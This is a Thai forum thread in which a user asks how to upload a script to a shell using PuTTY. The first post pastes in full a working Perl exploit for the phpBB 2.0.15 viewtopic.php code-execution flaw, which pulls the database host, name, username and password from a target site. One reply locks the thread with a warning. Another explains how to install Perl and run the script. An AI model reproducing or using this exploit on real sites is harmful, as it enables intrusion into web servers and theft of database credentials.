Results 1 to 3 of 3

Thread: อัพไฟล์ลง shell ทำไงหรอคับ ผมใช้โปรแกรม putty คับ อัพไงเหรอคับ สอนหน่อยคับ

  1. #1


    Cool

    อัปนี่ลง shell ทำไงเหรอคับผมได้โปรแกรมมาจาก
    http://www.east.spu.ac.th/pub/putty.exe
    แล้วต้องการอัพข้างล่างลง shell ทำไงเหรอคับ ขอบคุณมากคับ ต้องการอัพเวปนี้ http://www.thaivhost.info/exp/b.pl ลง shell อ่ะคับ มันจะมีเนื้อหาดัง ข้างล่าง เราควรเลือ protocol หรือพอร์ตไรเหรอ คับ แล้วอัปไงอ่ะคับ

    #!/usr/bin/perl

    # tested and working /str0ke

    # ********************************************************************
    # **********************************************************************
    # **** **
    # *** ****** ******************* **
    # *** *** **** *********************** **
    # *** *** **** **** * *** ***** **
    # *** *** *** *** *** * ** ** ** **
    # *** *** *** ** ** ** ** **
    #*** *** *** *** ** ** ***** **
    #** *** *** **** ** ** ** **
    #** *** *** *** ******* ******* ** *** ** **
    #** *** *** *** ** *** *** ** ** ** ** **
    #** *** *** *** ** *** *** *** ***** **
    #** *** *** *** ** *** *** **
    #** **** *** **** *** *** **
    #** ******* **** ******** *********************************** **
    #** *** **
    #** *** **
    #** **
    #** phpBB 2.0.15 Viewtopic.PHP Remote Code Execution Vulnerability **
    #** This exploit gives the user all the details about the database **
    #** connection such as database host, username, password and **
    #** database name. **
    #** **
    #** Written by MrPing, gvr.secured<AT>gmail<DOT>com,2005 **
    #** **
    #** Greetings to GvR, Jumento, PP, CKrew & friends **
    #** **
    #*****************************************************************************
    # ***************************************************************************

    use IO::Socket;

    print "+-----------------------------------------------------------------------+\r\n";
    print "| PhpBB 2.0.15 Database Authentication Details Exploit |\r\n";
    print "| By MrPing |\r\n";
    print "+-----------------------------------------------------------------------+\r\n";

    if (@ARGV < 3)
    {
    print "Usage:\r\n";
    print "phpbbSecureD.pl SERVER DIR THREADID COOKIESTRING\r\n\r\n";
    print "SERVER - Server where PhpBB is installed.\r\n";
    print "DIR - PHPBB directory or / for no directory.\r\n";
    print "THREADID - Id of an existing thread.\r\n";
    print "COOKIESTRING - Optional, cookie string of the http request.\r\n";
    print " Use this when a thread needs authentication for viewing\r\n";
    print " You can use Firefox in combination with \"Live HTTP\r\n";
    print " Headers\" to get this cookiestring.\r\n\r\n";
    print "Example 1 (with cookiestring):\r\n";
    print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 8 \"phpbb2mysql_data=a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0%3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D; phpbb2mysql_sid=10dae92b780914332896df43808c4e09\" \r\n\r\n";
    print "Example 2 (without cookiestring):\r\n";
    print "phpbbSecured.pl 192.168.168.123 /PHPBB/ 20 \r\n";
    exit();
    }

    $serv = $ARGV[0];
    $dir = $ARGV[1];
    $threadid = $ARGV[2];
    $cookie = $ARGV[3];

    $serv =~ s/http:\/\///ge;
    $delimit = "GvRSecureD";

    $sploit = $dir . "viewtopic.php?t=";
    $sploit .= $threadid;
    $sploit .= "&highlight=&#39;.printf($delimit.";
    $sploit .= "\$dbhost.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbname.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbuser.";
    $sploit .= "$delimit.";
    $sploit .= "\$dbpasswd.";
    $sploit .= "$delimit).&#39;";

    $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", PeerPort=>"80") or die "[+] Connecting ... Could not connect to host.\n\n";

    print "[+] Connecting OK\n";
    sleep(1);

    print "[+] Sending exploit ";
    print $sock "GET $sploit HTTP/1.1\r\n";
    print $sock "Host: $serv\r\n";
    if ( defined $cookie) {
    print $sock "Cookie: $cookie \r\n";
    }
    print $sock "Connection: close\r\n\r\n";


    $succes = 0;

    while ($answer = <$sock>) {
    $delimitIndex = index $answer, $delimit;
    if ($delimitIndex >= 0) {
    $succes = 1;
    $urlIndex = index $answer, "href";
    if ($urlIndex < 0){
    $answer = substr($answer, length($delimit));
    $length = 0;
    while (length($answer) > 0) {
    $nex = index($answer, $delimit);
    if ($nex > 0) {
    push(@array, substr($answer, 0, $nex));
    $answer = substr($answer, $nex + length($delimit), length($answer));
    } else {
    $answer= "";
    }
    }
    }
    }
    }

    close($sock);

    if ($succes == 1) {
    print "OK\n";
    sleep(1);
    print "[+] Database Host: " . $array[0] . "\n";
    sleep(1);
    print "[+] Database Name: " . $array[1] . "\n";
    sleep(1);
    print "[+] Username: " . $array[2] . "\n";
    sleep(1);
    print "[+] Password: " . $array[3] . "\n";
    sleep(1);
    } else {
    print "FAILED\n";
    }

    ปล. ขอบคุณมากครับ
    <div align="center">[SIZE=2][color=#FFFF00]:::[/color] [color=#3333FF]ประเทศไทยจะดีกว่านี้[/color] [color=#FFCC00]ถ้าคนไทยรู้จักแบ่งปัน[/color] [color=#FF0000]และไม่หวังสิ่งตอบแทน[/color] [color=#FFFF00]:::[/color]
    [color=#666666]::::::::::: เด็กใต้ Style เซอร์ :::::::::::[/color][/SIZE]</div>

  2. #2
    Junior Member
    Join Date
    Dec 2006
    Location
    PET'18
    Posts
    0


    ล่อเป้ามากครับ ขอล็อกเลย โพสแบบนี้อีกแบนนะครับ

    แล้วก็ถ้าอยากจะให้มีใครมาสนใจคุณ คุณก็ควรจะสนใจคนอื่นก่อนนะคับ

  3. #3
    Senior Member
    Join Date
    Oct 2006
    Location
    chiangmai
    Posts
    110


    อันนี้มันเป็น exploit ของ perl ต้องหาตัว ActivePerl มาเซ็ตอัพก่อน
    http://www.perl.com/download.csp
    แล้วรัน perl ใน cmd วิธีใช้ไม่ขอพูดถึง :P


    [url]http://starpicpost.com[/url]
    [url]http://chiangmaihorpak.com[/url]

Similar Threads

  1. SSH Tunnel using Putty
    By Dino in forum ทิปหรือเคล็ดลับการคอมพิวเตอร์ต่างๆ
    Replies: 1
    Last Post: 06-01-2009, 05:49 PM
  2. การใช้ Netcat เป็น BackDoor ทั้ง blind shell และ reverse shell
    By lucifer in forum Hacking, Exploit Articles/Tutorial/Techniques
    Replies: 1
    Last Post: 19-02-2008, 01:42 AM
  3. UNIX shell programming featuring korn shell u3711
    By conanjung in forum E-Book, Video หรือบทความทั่วไปด้าน Computer
    Replies: 0
    Last Post: 26-09-2007, 06:04 PM
  4. Replies: 3
    Last Post: 16-10-2006, 03:40 PM

Members who have read this thread : 0

Actions : (View-Readers)

There are no names to display.

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •